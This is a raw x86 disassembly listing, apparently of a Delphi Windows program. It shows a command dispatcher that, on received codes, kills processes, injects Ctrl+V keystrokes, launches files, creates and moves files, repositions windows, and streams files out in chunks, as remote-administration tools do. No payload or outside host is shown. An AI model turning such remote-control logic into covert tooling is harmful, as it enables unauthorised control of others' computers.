call fcn.0041f1c4
mov edx, dword [ebp - 0x48]
mov dword [eax + 0x30], edx
call fcn.0041f510
cmp dword [ebp - 0x48], 0
jg 0x4d7686
mov eax, dword [0x53148c]
mov byte [eax], 1
mov word [0x52ff08], 0
xor eax, eax
mov dword [0x5383a0], eax
xor eax, eax
mov dword [0x52ffec], eax
xor eax, eax
mov dword [0x5383d8], eax
mov byte [0x52ff98], 0xff
jmp 0x4d76e3
xor edx, edx
mov eax, dword [0x538378]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x52ff9c], 0
cmp dword [0x52ffd4], 0x32
jge 0x4d7729
cmp dword [0x52ffd8], 3
je 0x4d7729
mov dword [0x538360], 0xffffffff
mov dword [0x538364], 0xffffffff
mov dword [0x538368], 0xffffffff
mov dword [0x53836c], 0xffffffff
jmp case.0x4d4db8.10
mov dword [0x538360], 0
mov dword [0x538364], 0
mov dword [0x538368], 0
mov dword [0x53836c], 0
jmp case.0x4d4db8.10
mov byte [0x52ff9c], 1
mov dword [0x52ffd4], 0x7d0
jmp case.0x4d4db8.10
cmp byte [0x52ff98], 0
je case.0x4d4db8.10
mov byte [0x52ff98], 0
mov byte [0x52ffa8], 0
mov dword [0x52ffd4], 0x7d0
xor word [0x53835c], 0x1a0a
jmp 0x4d77a8
call fcn.004d42c4
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5315ac]
cmp dword [eax], 0
jg 0x4d779c
mov eax, dword [0x538374]
call fcn.00403750
mov eax, dword [0x538378]
call fcn.00403750
mov eax, 0x52ffb8
call fcn.0040e1cc
call fcn.004d4a90
cmp byte [0x530528], 0
jne 0x4d77ed
call fcn.004cbf34
call fcn.004cd1e8
call fcn.004cd944
call fcn.004cb80c
call fcn.004c9ee4
cmp dword [0x5384f4], 3
jne 0x4d780a
or eax, 0xffffffff
call fcn.004cab98
jmp 0x4d780f
call fcn.004ca558
call fcn.004ead68
jmp case.0x4d4db8.10
cmp byte [0x52ff98], 0
je case.0x4d4db8.10
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x48], eax
cmp byte [0x52ffa8], 0
jne 0x4d7858
cmp dword [ebp - 0x48], 2
jne 0x4d7858
call fcn.0046d6a4
fcomp dword [0x4d9e5c]
fnstsw ax
sahf
jbe 0x4d7858
mov dword [ebp - 0x48], 3
mov eax, dword [0x52ffd8]
cmp eax, dword [ebp - 0x48]
je 0x4d7887
mov eax, dword [ebp - 0x48]
mov dword [0x52ffd8], eax
cmp dword [0x52ffd8], 2
jl 0x4d7887
mov dword [0x538360], 0
mov dword [0x538364], 0
cmp dword [0x538388], 0
jle 0x4d789c
mov eax, dword [0x538388]
mov dword [0x52ffdc], eax
jmp 0x4d78af
mov eax, dword [ebx + 0x14]
shr eax, 8
and eax, 0xf
mov dword [0x52ffdc], eax
call fcn.004d0b00
cmp dword [0x52ffdc], 3
je 0x4d78bd
call fcn.004c9ee4
cmp dword [0x52ffdc], 4
je 0x4d78cb
call fcn.004cb80c
cmp dword [0x5384f4], 3
jne 0x4d7908
movsx eax, byte [0x52ff94]
mov edx, dword [0x52ffd4]
call fcn.004cac30
cmp dword [0x52ffdc], 5
je 0x4d78f9
or eax, 0xffffffff
call fcn.004cab98
jmp 0x4d792d
mov edx, 2
or eax, 0xffffffff
call fcn.004cabc4
jmp 0x4d792d
cmp dword [0x52ffdc], 5
je 0x4d7918
call fcn.004ca558
jmp 0x4d792d
mov eax, dword [0x531714]
cmp dword [eax], 0xffffffd8
jge 0x4d792d
mov eax, dword [0x531714]
mov dword [eax], 0xffffffd8
mov eax, dword [ebx + 0x18]
and eax, 0x1f
mov esi, dword [eax*4 + 0x53046c]
mov eax, dword [ebx + 0x18]
shr eax, 8
and al, 1
mov byte [0x5383bc], al
mov eax, dword [ebx + 0x18]
shr eax, 9
and al, 1
test al, al
jne 0x4d795a
mov byte [0x52ff94], 0
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x538370], al
cmp byte [0x52ffa8], 0
je 0x4d799a
test esi, esi
jle 0x4d7982
mov eax, esi
call fcn.004d4334
shl eax, 2
mov dword [0x52ffd4], eax
jmp 0x4d7991
mov eax, esi
call fcn.004d4334
shl eax, 3
mov dword [0x52ffd4], eax
mov byte [0x5383bc], 1
jmp 0x4d79be
cmp dword [0x5383b8], 0xb259
ja 0x4d79b4
mov eax, esi
call fcn.004d4334
mov dword [0x52ffd4], eax
jmp 0x4d79be
mov dword [0x52ffd4], 0x3e8
cmp byte [0x5383bc], 0
je 0x4d79d4
cmp byte [0x5383bd], 0
je case.0x4d4db8.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004ae228
test al, al
je case.0x4d4db8.10
call fcn.004ae3d8
jmp case.0x4d4db8.10
mov ax, word [ebx + 0x10]
and ax, 0xffff
mov word [0x53835c], ax
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x5383c0], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x5383c4], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x5383c8], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x5383cc], eax
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x5383d0], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x5383d4], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x5383d8], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x5383dc], eax
jmp case.0x4d4db8.10
cmp dword [ebx + 0x10], 0
je 0x4d7aac
lea eax, [ebp - 0x928]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x928]
mov dx, word [0x4d9e48]
mov al, 1
call fcn.004ab928
jmp case.0x4d4db8.10
xor ecx, ecx
mov dx, word [0x4d9e8c]
xor eax, eax
call fcn.004ab928
jmp case.0x4d4db8.10
mov edx, dword [ebx + 0x10]
xor dl, 1
mov eax, dword [0x531838]
mov eax, dword [eax]
mov eax, dword [eax + 0x308]
call fcn.0044e194
jmp case.0x4d4db8.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045cb18
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d4db8.10
lea eax, [ebp - 0x930]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov eax, dword [ebp - 0x930]
lea edx, [ebp - 0x92c]
call fcn.00408d5c
mov edx, dword [ebp - 0x92c]
mov eax, 0x538524
call fcn.004045b0
push 0
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045cb18
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d4db8.10
lea eax, [ebp - 0x5c]
call fcn.0040455c
cmp byte [ebx + 0xc], 0x9f
jne 0x4d7b6d
cmp dword [ebx + 4], 0x20
jle 0x4d7b6d
lea edx, [ebp - 0x5c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov eax, dword [ebx + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4d7b91
cmp eax, 0xffffffff
je 0x4d7b91
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045cb18
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x5c], 0
je case.0x4d4db8.10
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x5c]
call fcn.004045f4
jmp 0x4d5894
lea edx, [ebp - 0x934]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x934]
mov eax, 0x5384a8
call fcn.00404e18
mov dl, 1
mov eax, dword [0x5384a8]
call fcn.004e6eb0
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4d4db8.10
lea edx, [ebp - 0x6c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
cmp dword [ebx + 0x10], 0xaf
jne 0x4d7c49
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x28]
call fcn.004e3624
jmp case.0x4d4db8.10
cmp dword [ebx + 0x10], 0xae
jne 0x4d7c9c
mov edx, dword [ebp - 0x6c]
mov eax, 0x4d9e98
call fcn.00404b50
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle case.0x4d4db8.10
lea eax, [ebp - 0x938]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x6c]
call fcn.00404a6c
mov eax, dword [ebp - 0x938]
or edx, 0xffffffff
call fcn.0040940c
call fcn.004e3728
jmp case.0x4d4db8.10
cmp dword [ebx + 0x10], 0xb4
jne 0x4d7cbb
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x538490]
call fcn.00404860
jmp 0x4d5894
cmp dword [ebx + 0x10], 0xb5
jne case.0x4d4db8.10
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x538490]
call fcn.00404860
jmp 0x4d5894
mov eax, dword [ebx + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045cb18
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4d4db8.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d4db8.10
lea eax, [ebp - 0x1e0]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1e0]
and ecx, 0xffff
mov eax, dword [ebp - 0x1dc]
shl eax, 0x10
or ecx, eax
mov edx, 0xfb
mov eax, dword [ebp - 0x28]
call fcn.004d3220
jmp case.0x4d4db8.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d4db8.10
mov di, word [ebx + 0x10]
and di, 0xffff
movsx edi, di
mov eax, dword [ebx + 0x10]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x4c], eax
mov ax, word [ebx + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x50], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x54], eax
push 0
mov eax, dword [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x4c]
push eax
push edi
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d4db8.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d4db8.10
push 0
lea eax, [ebp - 0x200]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1e0]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1f8]
sub eax, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1d8]
sub edx, dword [ebp - 0x1e0]
sub eax, edx
sar eax, 1
jns 0x4d7e15
adc eax, 0
add eax, dword [ebp - 0x200]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d4]
sub edx, dword [ebp - 0x1dc]
sub eax, edx
sar eax, 1
jns 0x4d7e42
adc eax, 0
add eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x1ec], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1ec]
push eax
mov eax, dword [ebp - 0x1f0]
push eax
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d4db8.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov esi, eax
mov edx, 0x4d9ea4
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9ec4
mov eax, dword [0x531818]
push dword [eax]
push 0x4d9ed4
lea eax, [ebp - 0x93c]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x93c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9ec4
mov eax, dword [0x531818]
push dword [eax]
push 0x4d9ee4
lea eax, [ebp - 0x940]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x940]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9ec4
mov eax, dword [0x531818]
push dword [eax]
push 0x4d9ef4
lea eax, [ebp - 0x944]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x944]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x948]
mov eax, 0xf9
call fcn.004a829c
mov ecx, dword [ebp - 0x948]
mov edx, dword [0x531818]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404860
lea eax, [ebp - 0x94c]
mov edx, dword [ebp - 0x88]
call fcn.00404e18
mov eax, dword [ebp - 0x94c]
push eax
push esi
call fcn.0046c720
push 0x4d9f04
push dword [ebp - 0x88]
push 0x4d9f04
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048d4
mov eax, esi
call fcn.00403750
call fcn.004d43bc
xor edx, edx
mov eax, 3
call fcn.004d43dc
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a0c
push eax
push 0x4d9e40
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d4db8.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov esi, eax
mov edx, 0x4d9ea4
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9ec4
lea eax, [ebp - 0x954]
mov edx, dword [0x53829c]
mov dl, byte [edx]
call fcn.0040473c
push dword [ebp - 0x954]
push 0x4d9f10
lea eax, [ebp - 0x950]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x950]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9ec4
push dword [0x53829c]
push 0x4d9f24
lea eax, [ebp - 0x958]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x958]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9ec4
push dword [0x53829c]
push 0x4d9f3c
lea eax, [ebp - 0x95c]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x95c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9ec4
mov eax, dword [0x531818]
push dword [eax]
push 0x4d9ef4
lea eax, [ebp - 0x960]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x960]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x964]
mov eax, 0xf9
call fcn.004a829c
mov ecx, dword [ebp - 0x964]
mov edx, dword [0x531818]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404860
lea eax, [ebp - 0x968]
mov edx, dword [ebp - 0x88]
call fcn.00404e18
mov eax, dword [ebp - 0x968]
push eax
push esi
call fcn.0046c720
push 0x4d9f04
push dword [ebp - 0x88]
push 0x4d9f04
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048d4
mov eax, esi
call fcn.00403750
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a0c
push eax
push 0x4d9e40
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.0046f554
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
jmp case.0x4d4db8.10
lea edx, [ebp - 0x96c]
mov eax, 0xfa
call fcn.004a829c
mov eax, dword [ebp - 0x96c]
push eax
lea edx, [ebp - 0x970]
mov eax, 0xae
call fcn.004a829c
mov eax, dword [ebp - 0x970]
push eax
lea eax, [ebp - 0x974]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x974]
pop eax
pop edx
call fcn.0046ae78
jmp case.0x4d4db8.10
cmp dword [0x52ff14], 0x521044e
jb case.0x4d4db8.10
cmp byte [0x530548], 0
jne case.0x4d4db8.10
xor eax, eax
push ebp
push 0x4d8503
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x10]
mov dword [0x538324], eax
mov eax, dword [0x538324]
add eax, 0x5b
cmp eax, dword [0x5383b8]
jae 0x4d8212
push 0
push 0x3e8
mov eax, dword [0x52fedc]
mov edx, dword [0x52fee0]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d8212
cmp eax, 0
je 0x4d84ee
mov byte [0x530548], 1
lea edx, [ebp - 0x9c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x9c]
call fcn.004d1d04
lea eax, [ebp - 0xd0]
mov edx, dword [ebp - 0x9c]
call fcn.004045f4
mov eax, dword [ebp - 0x9c]
call fcn.00404814
cmp eax, 3
jl 0x4d84cf
mov eax, dword [ebp - 0x9c]
call fcn.00461b14
test al, al
je 0x4d84cf
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xe1
mov eax, dword [ebp - 0x28]
call fcn.004d3220
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46944c]
call fcn.004696d4
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4de734
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4de970
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4deeac
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x9c]
call fcn.004045b0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x4eb694]
call fcn.00403720
mov dword [0x538544], eax
push 0
push 0x20
mov eax, dword [0x538544]
call fcn.00419618
push 0
push 0x20
mov eax, dword [0x538544]
call fcn.004195b4
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4d84c8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.00469788
mov eax, dword [0x538544]
call fcn.004195c8
cmp edx, 0
jne 0x4d8361
cmp eax, 0x20
jbe 0x4d8487
jmp 0x4d8367
jle 0x4d8487
mov eax, dword [0x538544]
mov ebx, dword [eax + 4]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xe8
mov byte [ebx + 0xe], 0
mov eax, dword [0x538544]
call fcn.004195c8
mov dword [ebx + 4], eax
mov eax, dword [0x5383b8]
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
mov eax, ebx
call fcn.004de14c
mov eax, dword [ebx + 4]
mov dword [ebp - 0xb0], eax
lea ebx, [ebp - 0x7a0]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf2
mov byte [ebx + 0xe], 0
xor eax, eax
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
push 0
push 0
mov eax, dword [0x538544]
call fcn.004195b4
xor esi, esi
mov dword [ebx + 0x14], esi
inc esi
mov eax, dword [ebp - 0xb0]
cdq
push edx
push eax
mov eax, dword [0x538544]
call fcn.00419594
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4d83ff
cmp eax, 0x500
jbe 0x4d840d
jmp 0x4d8401
jle 0x4d840d
mov dword [ebp - 0xac], 0x500
jmp 0x4d8425
mov eax, dword [0x538544]
call fcn.00419594
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebp - 0xac], edx
lea edx, [ebx + 0x20]
mov ecx, dword [ebp - 0xac]
mov eax, dword [0x538544]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x538544]
call fcn.00419594
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebx + 0x18], edx
mov eax, dword [ebp - 0xac]
add eax, 0x20
mov dword [ebx + 4], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d2f04
test al, al
je 0x4d84a5
test esi, 0xf
jne 0x4d847b
mov eax, dword [0x5316f4]
mov eax, dword [eax]
call fcn.00446d58
cmp dword [ebx + 0x18], 0
jne 0x4d83d1
jmp 0x4d84a5
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d3220
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d84ee
mov eax, dword [0x538544]
call fcn.00403750
mov eax, dword [ebp - 0xd8]
call fcn.00403750
ret
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d3220
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d4db8.10
mov byte [0x530548], 0
ret
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x34]
call fcn.004d1d04
push 0
lea eax, [ebp - 0x34]
call fcn.00404a64
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
push 0
push 0
lea edx, [ebp - 0x978]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov eax, dword [ebp - 0x978]
push eax
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004d3220
jmp case.0x4d4db8.10
cmp byte [0x53054c], 0
jne case.0x4d4db8.10
xor eax, eax
push ebp
push 0x4d8768
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53054c], 1
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x97c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x97c]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d1d04
mov eax, dword [ebp - 0x98]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4d8720
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x48], 1
lea ecx, [ebp - 0x980]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x980]
lea eax, [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x34]
call fcn.0046c474
test al, al
je 0x4d8650
mov eax, dword [ebp - 0x34]
call fcn.004e7c60
mov edx, 2
mov eax, dword [ebp - 0x34]
call fcn.004d17b0
jmp 0x4d8711
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46944c]
call fcn.004696d4
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4de734
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4de970
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4deeac
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x34]
call fcn.004045b0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4d86f8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.00469788
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d86ff
mov eax, dword [ebp - 0xd8]
call fcn.00403750
ret
inc dword [ebp - 0x48]
dec dword [ebp - 0x110]
jne 0x4d8602
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d4db8.10
mov eax, dword [ebp - 0x98]
call fcn.00403750
mov byte [0x53054c], 0
ret
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x984]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x984]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x34]
mov edx, 1
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x38]
mov edx, 2
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d1d04
lea eax, [ebp - 0x988]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x988]
call fcn.00404a0c
push eax
lea eax, [ebp - 0x98c]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x98c]
call fcn.00404a0c
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
mov eax, dword [ebp - 0x98]
call fcn.00403750
mov eax, dword [ebx + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d3220
jmp case.0x4d4db8.10
lea edx, [ebp - 0x990]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x990]
mov eax, 0x538548
call fcn.004045b0
mov eax, dword [ebx + 0x10]
mov dword [0x53854c], eax
mov eax, dword [ebx + 0x14]
mov dword [0x538558], eax
mov al, byte [ebx + 0x18]
and al, 0xff
mov byte [0x538554], al
mov eax, dword [ebx + 0x18]
and eax, 0x300
mov dword [0x538550], eax
mov eax, 0x538548
call fcn.004d1d04
mov eax, dword [0x538548]
cmp byte [eax + 1], 0x3a
jne 0x4d88d3
mov eax, dword [0x538548]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x53855c], al
jmp 0x4d88da
mov byte [0x53855c], 0
mov eax, dword [0x538548]
call fcn.00404814
cmp eax, 3
jle case.0x4d4db8.10
mov eax, dword [0x538548]
call fcn.00461b1c
jmp case.0x4d4db8.10
mov al, byte [ebx + 0x10]
mov byte [0x538568], al
mov eax, dword [ebx + 0x14]
mov dword [0x538564], eax
lea eax, [ebx + 0x20]
mov ebx, eax
mov eax, dword [ebx + 4]
mov dword [0x538570], eax
mov eax, dword [ebx + 8]
mov dword [0x538574], eax
mov eax, dword [ebx]
mov dword [0x53856c], eax
mov eax, dword [ebx + 0xc]
mov dword [0x538578], eax
cmp byte [0x53855c], 0x41
jb 0x4d896a
mov al, byte [0x53855c]
sub al, 0x41
inc eax
call fcn.00409b4c
sub eax, dword [0x538570]
sbb edx, dword [0x538574]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4d897e
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4d8992
cmp dword [ebp - 0xa8], 0
jae 0x4d89bd
jmp 0x4d8994
jge 0x4d89bd
xor eax, eax
mov dword [0x53055c], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x538564]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d3220
jmp case.0x4d4db8.10
mov al, byte [0x538568]
sub al, 2
jb 0x4d89cd
je 0x4d8a02
jmp case.0x4d4db8.10
mov byte [0x53857c], 0
mov dl, 1
mov eax, dword [0x4eb694]
call fcn.00403720
mov dword [0x53055c], eax
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov dword [0x538584], eax
xor eax, eax
mov dword [0x538580], eax
jmp case.0x4d4db8.10
mov byte [0x53857c], 0
lea eax, [ebp - 0x994]
lea edx, [ebx + 0x10]
